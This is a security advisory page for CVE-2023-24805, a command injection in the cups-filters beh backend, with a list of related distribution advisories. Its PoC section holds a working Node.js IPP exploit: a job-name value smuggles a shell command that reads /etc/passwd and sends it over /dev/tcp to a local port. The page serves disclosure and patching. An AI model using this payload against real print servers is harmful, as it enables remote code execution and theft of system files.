Headline
CVE-2023-24805: report a command inject Vulnerabilities in cups-filters
cups-filters contains backends, filters, and other software required to get the cups printing service working on operating systems other than macos. If you use the Backend Error Handler (beh) to create an accessible network printer, this security vulnerability can cause remote code execution. beh.c contains the line retval = system(cmdline) >> 8; which calls the system command with the operand cmdline. cmdline contains multiple user controlled, unsanitized values. As a result an attacker with network access to the hosted print server can exploit this vulnerability to inject system commands which are executed in the context of the running server. This issue has been addressed in commit 8f2740357 and is expected to be bundled in the next release. Users are advised to upgrade when possible and to restrict access to network printers in the meantime.
Package
cups-filters (OpenPrinting)
Affected versions
The latest version
Patched versions
A fix is worked on currently
Summary
If you use beh to create an accessible network printer, this security vulnerability can cause remote code execution.
Details
retval = system(cmdline) >> 8;
// (context: argv = beh <job-id> <user> <title> <copies> <options> [file]) snprintf(cmdline, sizeof(cmdline), "%s/backend/%s ‘%s’ ‘%s’ ‘%s’ ‘%s’ ‘%s’ %s", cups_serverbin, scheme, argv[1], argv[2], argv[3], … (argc == 6 ? “1” : argv[4]), argv[5], filename); … retval = system(cmdline) >> 8;
The system function will be called here to execute the command, and the user and title parameters are user-controlled and unsanitized .
PoC
start a beh service lpadmin -p myprinter -E -v beh:/1/3/5/socket://printer:9100
exploit: // https://github.com/williamkapke/ipp
var ipp = require(‘ipp’); var PDFDocument = require(‘pdfkit’); var concat = require(“concat-stream”);
var doc = new PDFDocument({margin:0}); doc.text("1.pdf", 0, 0);
doc.pipe(concat(function (data) { var printer = ipp.Printer(“http://127.0.0.1:6310/printers/myprinter”); var msg = { "operation-attributes-tag": { "requesting-user-name": "Bumblebee", "job-name": "’;env; bash -c \"/usr/bin/cat ${PWD}etc/${PWD}/passwd > ${PWD}dev${PWD}tcp${PWD}127.0.0.1${PWD}1337\";’’ #.pdf", "document-format": “application/pdf” }, "job-attributes-tag":{ "media-col": { "media-source": “tray-2” } } , data: data }; printer.execute("Print-Job", msg, function(err, res){ console.log(err); console.log(res); }); })); doc.end();
Credits
Swing from Chaitin Security Research Lab
Related news
Gentoo Linux Security Advisory 202401-6 - A vulnerability has been found in CUPS filters where remote code execution is possible via the beh filter. Versions greater than or equal to 1.28.17-r2 are affected.
Ubuntu Security Notice 6083-2 - USN-6083-1 fixed a vulnerability in cups-filters. This update provides the corresponding update for Ubuntu 16.04 LTS. It was discovered that cups-filters incorrectly handled the beh CUPS backend. A remote attacker could possibly use this issue to cause the backend to stop responding or to execute arbitrary code.
Red Hat Security Advisory 2023-3428-01 - The cups-filters package contains back ends, filters, and other software that was once part of the core Common UNIX Printing System distribution but is now maintained independently. Issues addressed include a code execution vulnerability.
Red Hat Security Advisory 2023-3425-01 - The cups-filters package contains back ends, filters, and other software that was once part of the core Common UNIX Printing System distribution but is now maintained independently. Issues addressed include a code execution vulnerability.
Red Hat Security Advisory 2023-3429-02 - The cups-filters package contains back ends, filters, and other software that was once part of the core Common UNIX Printing System distribution but is now maintained independently. Issues addressed include a code execution vulnerability.
Red Hat Security Advisory 2023-3426-01 - The cups-filters package contains back ends, filters, and other software that was once part of the core Common UNIX Printing System distribution but is now maintained independently. Issues addressed include a code execution vulnerability.
Red Hat Security Advisory 2023-3423-01 - The cups-filters package contains back ends, filters, and other software that was once part of the core Common UNIX Printing System distribution but is now maintained independently. Issues addressed include a code execution vulnerability.
An update for cups-filters is now available for Red Hat Enterprise Linux 8.6 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-24805: A vulnerability was found in cups-filters. This security flaw occurs if you use beh to create an accessible network printer, possibly resulting in remote code execution.
An update for cups-filters is now available for Red Hat Enterprise Linux 8.1 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-24805: A vulnerability was found in cups-filters. This security flaw occurs if you use beh to create an accessible network printer, possibly resulting in remote code execution.
An update for cups-filters is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-24805: A vulnerability was found in cups-filters. This security flaw occurs if you use beh to create an accessible network printer, possibly resulting in remote code execution.
An update for cups-filters is now available for Red Hat Enterprise Linux 8.4 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-24805: A vulnerability was found in cups-filters. This security flaw occurs if you use beh to create an accessible network printer, possibly resulting in remote code execution.
An update for cups-filters is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-24805: A vulnerability was found in cups-filters. This security flaw occurs if you use beh to create an accessible network printer, possibly resulting in remote code execution.
Debian Linux Security Advisory 5407-1 - It was discovered that missing input sanitising in cups-filters, when using the Backend Error Handler (beh) backend to create an accessible network printer, may result in the execution of arbitrary commands.